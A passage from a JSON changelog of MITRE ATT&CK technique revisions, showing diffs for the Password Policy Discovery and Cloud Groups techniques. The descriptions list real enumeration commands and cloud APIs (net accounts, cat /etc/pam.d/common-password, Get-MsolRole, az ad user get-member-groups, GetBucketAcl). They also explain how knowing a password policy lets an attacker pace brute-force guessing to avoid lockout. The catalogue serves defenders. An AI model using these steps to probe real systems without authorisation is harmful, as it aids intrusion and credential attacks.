                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:17:41.090000+00:00\", \"old_value\": \"2025-10-24 17:49:15.781000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adhere to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\\n\\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l <username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code>.(Citation: Superuser Linux Password Policies)(Citation: Jamf User Password Policies) Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. <code>show aaa</code>, <code>show aaa common-criteria policy all</code>).(Citation: US-CERT-TA18-106A)\\n\\nPassword policies can be discovered in cloud environments using available APIs such as <code>GetAccountPasswordPolicy</code> in AWS.(Citation: AWS GetPasswordPolicy)\", \"old_value\": \"Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\\n\\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l <username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code> (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. <code>show aaa</code>, <code>show aaa common-criteria policy all</code>).(Citation: US-CERT-TA18-106A)\\n\\nPassword policies can be discovered in cloud environments using available APIs such as <code>GetAccountPasswordPolicy</code> in AWS (Citation: AWS GetPasswordPolicy).\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n-Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\\n+Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adhere to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\\n \\n-Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l <username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code> (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. <code>show aaa</code>, <code>show aaa common-criteria policy all</code>).(Citation: US-CERT-TA18-106A)\\n+Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l <username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code>.(Citation: Superuser Linux Password Policies)(Citation: Jamf User Password Policies) Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. <code>show aaa</code>, <code>show aaa common-criteria policy all</code>).(Citation: US-CERT-TA18-106A)\\n \\n-Password policies can be discovered in cloud environments using available APIs such as <code>GetAccountPasswordPolicy</code> in AWS (Citation: AWS GetPasswordPolicy).\\n+Password policies can be discovered in cloud environments using available APIs such as <code>GetAccountPasswordPolicy</code> in AWS.(Citation: AWS GetPasswordPolicy)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.7",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to104__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to104__0\"><a href=\"#difflib_chg_to104__top\">t</a></td><td class=\"diff_header\" id=\"from104_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;access&nbsp;detailed&nbsp;information&nbsp;about</td><td class=\"diff_next\"><a href=\"#difflib_chg_to104__top\">t</a></td><td class=\"diff_header\" id=\"to104_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;access&nbsp;detailed&nbsp;information&nbsp;about</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;password&nbsp;policy&nbsp;used&nbsp;within&nbsp;an&nbsp;enterprise&nbsp;network&nbsp;or&nbsp;cl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;password&nbsp;policy&nbsp;used&nbsp;within&nbsp;an&nbsp;enterprise&nbsp;network&nbsp;or&nbsp;cl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oud&nbsp;environment.&nbsp;Password&nbsp;policies&nbsp;are&nbsp;a&nbsp;way&nbsp;to&nbsp;enforce&nbsp;comp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oud&nbsp;environment.&nbsp;Password&nbsp;policies&nbsp;are&nbsp;a&nbsp;way&nbsp;to&nbsp;enforce&nbsp;comp</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lex&nbsp;passwords&nbsp;that&nbsp;are&nbsp;difficult&nbsp;to&nbsp;guess&nbsp;or&nbsp;crack&nbsp;through&nbsp;[</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lex&nbsp;passwords&nbsp;that&nbsp;are&nbsp;difficult&nbsp;to&nbsp;guess&nbsp;or&nbsp;crack&nbsp;through&nbsp;[</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Brute&nbsp;Force](https://attack.mitre.org/techniques/T1110).&nbsp;Thi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Brute&nbsp;Force](https://attack.mitre.org/techniques/T1110).&nbsp;Thi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;information&nbsp;may&nbsp;help&nbsp;the&nbsp;adversary&nbsp;to&nbsp;create&nbsp;a&nbsp;list&nbsp;of&nbsp;com</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;information&nbsp;may&nbsp;help&nbsp;the&nbsp;adversary&nbsp;to&nbsp;create&nbsp;a&nbsp;list&nbsp;of&nbsp;com</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mon&nbsp;passwords&nbsp;and&nbsp;launch&nbsp;dictionary&nbsp;and/or&nbsp;brute&nbsp;force&nbsp;attac</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mon&nbsp;passwords&nbsp;and&nbsp;launch&nbsp;dictionary&nbsp;and/or&nbsp;brute&nbsp;force&nbsp;attac</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ks&nbsp;which&nbsp;adhere<span class=\"diff_chg\">s&nbsp;to&nbsp;the</span>&nbsp;policy&nbsp;(e.g.&nbsp;if&nbsp;the&nbsp;minimum&nbsp;password</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ks&nbsp;which&nbsp;adhere<span class=\"diff_chg\">&nbsp;to&nbsp;the</span>&nbsp;policy&nbsp;(e.g.&nbsp;if&nbsp;the&nbsp;minimum&nbsp;password&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;length&nbsp;should&nbsp;be&nbsp;8,&nbsp;then&nbsp;not&nbsp;trying&nbsp;passwords&nbsp;such&nbsp;as&nbsp;'pass</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">length&nbsp;should&nbsp;be&nbsp;8,&nbsp;then&nbsp;not&nbsp;trying&nbsp;passwords&nbsp;such&nbsp;as&nbsp;'pass1</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">123';&nbsp;not&nbsp;checking&nbsp;for&nbsp;more&nbsp;than&nbsp;3-4&nbsp;passwords&nbsp;per&nbsp;account&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">23';&nbsp;not&nbsp;checking&nbsp;for&nbsp;more&nbsp;than&nbsp;3-4&nbsp;passwords&nbsp;per&nbsp;account&nbsp;if</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">f&nbsp;the&nbsp;lockout&nbsp;is&nbsp;set&nbsp;to&nbsp;6&nbsp;as&nbsp;to&nbsp;not&nbsp;lock&nbsp;out&nbsp;accounts).&nbsp;&nbsp;Pas</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;lockout&nbsp;is&nbsp;set&nbsp;to&nbsp;6&nbsp;as&nbsp;to&nbsp;not&nbsp;lock&nbsp;out&nbsp;accounts).&nbsp;&nbsp;Pass</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sword&nbsp;policies&nbsp;can&nbsp;be&nbsp;set&nbsp;and&nbsp;discovered&nbsp;on&nbsp;Windows,&nbsp;Linux,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">word&nbsp;policies&nbsp;can&nbsp;be&nbsp;set&nbsp;and&nbsp;discovered&nbsp;on&nbsp;Windows,&nbsp;Linux,&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and&nbsp;macOS&nbsp;systems&nbsp;via&nbsp;various&nbsp;command&nbsp;shell&nbsp;utilities&nbsp;such&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;macOS&nbsp;systems&nbsp;via&nbsp;various&nbsp;command&nbsp;shell&nbsp;utilities&nbsp;such&nbsp;as</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;&lt;code&gt;net&nbsp;accounts&nbsp;(/domain)&lt;/code&gt;,&nbsp;&lt;code&gt;Get-ADDefaultDo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&lt;code&gt;net&nbsp;accounts&nbsp;(/domain)&lt;/code&gt;,&nbsp;&lt;code&gt;Get-ADDefaultDom</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mainPasswordPolicy&lt;/code&gt;,&nbsp;&lt;code&gt;chage&nbsp;-l&nbsp;&lt;username&gt;&lt;/code&gt;,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ainPasswordPolicy&lt;/code&gt;,&nbsp;&lt;code&gt;chage&nbsp;-l&nbsp;&lt;username&gt;&lt;/code&gt;,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&lt;code&gt;cat&nbsp;/etc/pam.d/common-password&lt;/code&gt;,&nbsp;and&nbsp;&lt;code&gt;pwpo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&lt;code&gt;cat&nbsp;/etc/pam.d/common-password&lt;/code&gt;,&nbsp;and&nbsp;&lt;code&gt;pwpol</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">licy&nbsp;getaccountpolicies&lt;/code&gt;<span class=\"diff_chg\">&nbsp;</span>(Citation:&nbsp;Superuser&nbsp;Linux&nbsp;Pa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">icy&nbsp;getaccountpolicies&lt;/code&gt;<span class=\"diff_chg\">.</span>(Citation:&nbsp;Superuser&nbsp;Linux&nbsp;Pas</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ssword&nbsp;Policies)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Jamf&nbsp;User&nbsp;Password&nbsp;Policies)<span class=\"diff_sub\">.</span>&nbsp;Ad</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sword&nbsp;Policies)(Citation:&nbsp;Jamf&nbsp;User&nbsp;Password&nbsp;Policies)&nbsp;Adver</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">versaries&nbsp;may&nbsp;also&nbsp;leverage&nbsp;a&nbsp;[Network&nbsp;Device&nbsp;CLI](https://a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">saries&nbsp;may&nbsp;also&nbsp;leverage&nbsp;a&nbsp;[Network&nbsp;Device&nbsp;CLI](https://atta</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttack.mitre.org/techniques/T1059/008)&nbsp;on&nbsp;network&nbsp;devices&nbsp;to&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ck.mitre.org/techniques/T1059/008)&nbsp;on&nbsp;network&nbsp;devices&nbsp;to&nbsp;dis</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">discover&nbsp;password&nbsp;policy&nbsp;information&nbsp;(e.g.&nbsp;&lt;code&gt;show&nbsp;aaa&lt;/c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cover&nbsp;password&nbsp;policy&nbsp;information&nbsp;(e.g.&nbsp;&lt;code&gt;show&nbsp;aaa&lt;/code</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&gt;,&nbsp;&lt;code&gt;show&nbsp;aaa&nbsp;common-criteria&nbsp;policy&nbsp;all&lt;/code&gt;).(Cit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;,&nbsp;&lt;code&gt;show&nbsp;aaa&nbsp;common-criteria&nbsp;policy&nbsp;all&lt;/code&gt;).(Citati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;US-CERT-TA18-106A)&nbsp;&nbsp;Password&nbsp;policies&nbsp;can&nbsp;be&nbsp;discover</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;US-CERT-TA18-106A)&nbsp;&nbsp;Password&nbsp;policies&nbsp;can&nbsp;be&nbsp;discovered&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;in&nbsp;cloud&nbsp;environments&nbsp;using&nbsp;available&nbsp;APIs&nbsp;such&nbsp;as&nbsp;&lt;code&gt;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in&nbsp;cloud&nbsp;environments&nbsp;using&nbsp;available&nbsp;APIs&nbsp;such&nbsp;as&nbsp;&lt;code&gt;Get</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">GetAccountPasswordPolicy&lt;/code&gt;&nbsp;in&nbsp;AWS<span class=\"diff_chg\">&nbsp;</span>(Citation:&nbsp;AWS&nbsp;GetPas</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">AccountPasswordPolicy&lt;/code&gt;&nbsp;in&nbsp;AWS<span class=\"diff_chg\">.</span>(Citation:&nbsp;AWS&nbsp;GetPasswo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">swordPolicy)<span class=\"diff_sub\">.</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rdPolicy)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1027: Password Policies"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0161: Password Policy Discovery \u2013 cross-platform behavior-chain analytics"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-21 21:15:33.222000+00:00",
                    "modified": "2026-11-04 00:22:50.797000+00:00",
                    "name": "Cloud Groups",
                    "description": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance)\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command <code>az ad user get-member-groups</code> will list groups associated to a user account for Azure while the API endpoint <code>GET https://cloudidentity.googleapis.com/v1/groups</code> lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS <code>GetBucketAcl</code> API.(Citation: AWS Get Bucket ACL) Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "discovery"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1069/003",
                            "external_id": "T1069.003"
                        },
                        {
                            "source_name": "AWS Get Bucket ACL",
                            "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.",
                            "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html"
                        },
                        {
                            "source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022",
                            "description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.",
                            "url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"
                        },
                        {
                            "source_name": "Black Hills Red Teaming MS AD Azure, 2018",
                            "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.",
                            "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/"
                        },
                        {
                            "source_name": "Google Cloud Identity API Documentation",
                            "description": "Google. (n.d.). Retrieved March 16, 2021.",
                            "url": "https://cloud.google.com/identity/docs/reference/rest"
                        },
                        {
                            "source_name": "Microsoft AZ CLI",
                            "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
                            "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest"
                        },
                        {
                            "source_name": "Microsoft Msolrole",
                            "description": "Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.",
                            "url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0"
                        },
                        {
                            "source_name": "GitHub Raindance",
                            "description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.",
                            "url": "https://github.com/True-Demon/raindance"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Regina Elwell",
                        "Isif Ibrahima, Mandiant"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "SaaS",
                        "IaaS",
                        "Office Suite",
                        "Identity Provider"
                    ],
                    "x_mitre_version": "1.5",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:22:50.797000+00:00\", \"old_value\": \"2026-08-04 20:30:53.932000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\\n\\nWith authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance)\\n\\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command <code>az ad user get-member-groups</code> will list groups associated to a user account for Azure while the API endpoint <code>GET https://cloudidentity.googleapis.com/v1/groups</code> lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\\n\\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS <code>GetBucketAcl</code> API.(Citation: AWS Get Bucket ACL) Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.\", \"old_value\": \"Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\\n\\nWith authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\\n\\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command <code>az ad user get-member-groups</code> will list groups associated to a user account for Azure while the API endpoint <code>GET https://cloudidentity.googleapis.com/v1/groups</code> lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\\n\\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS <code>GetBucketAcl</code> API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +1,7 @@\\n Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\\n \\n-With authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\\n+With authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance)\\n \\n Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command <code>az ad user get-member-groups</code> will list groups associated to a user account for Azure while the API endpoint <code>GET https://cloudidentity.googleapis.com/v1/groups</code> lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\\n \\n-Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS <code>GetBucketAcl</code> API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.\\n+Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS <code>GetBucketAcl</code> API.(Citation: AWS Get Bucket ACL) Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.\"}}}",
                    "previous_version": "1.5",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to128__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to128__0\"><a href=\"#difflib_chg_to128__top\">t</a></td><td class=\"diff_header\" id=\"from128_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;find&nbsp;cloud&nbsp;groups&nbsp;and&nbsp;permission&nbsp;</td><td class=\"diff_next\"><a href=\"#difflib_chg_to128__top\">t</a></td><td class=\"diff_header\" id=\"to128_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;find&nbsp;cloud&nbsp;groups&nbsp;and&nbsp;permission&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">settings.&nbsp;The&nbsp;knowledge&nbsp;of&nbsp;cloud&nbsp;permission&nbsp;groups&nbsp;can&nbsp;help&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">settings.&nbsp;The&nbsp;knowledge&nbsp;of&nbsp;cloud&nbsp;permission&nbsp;groups&nbsp;can&nbsp;help&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">adversaries&nbsp;determine&nbsp;the&nbsp;particular&nbsp;roles&nbsp;of&nbsp;users&nbsp;and&nbsp;grou</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">adversaries&nbsp;determine&nbsp;the&nbsp;particular&nbsp;roles&nbsp;of&nbsp;users&nbsp;and&nbsp;grou</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ps&nbsp;within&nbsp;an&nbsp;environment,&nbsp;as&nbsp;well&nbsp;as&nbsp;which&nbsp;users&nbsp;are&nbsp;associa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ps&nbsp;within&nbsp;an&nbsp;environment,&nbsp;as&nbsp;well&nbsp;as&nbsp;which&nbsp;users&nbsp;are&nbsp;associa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 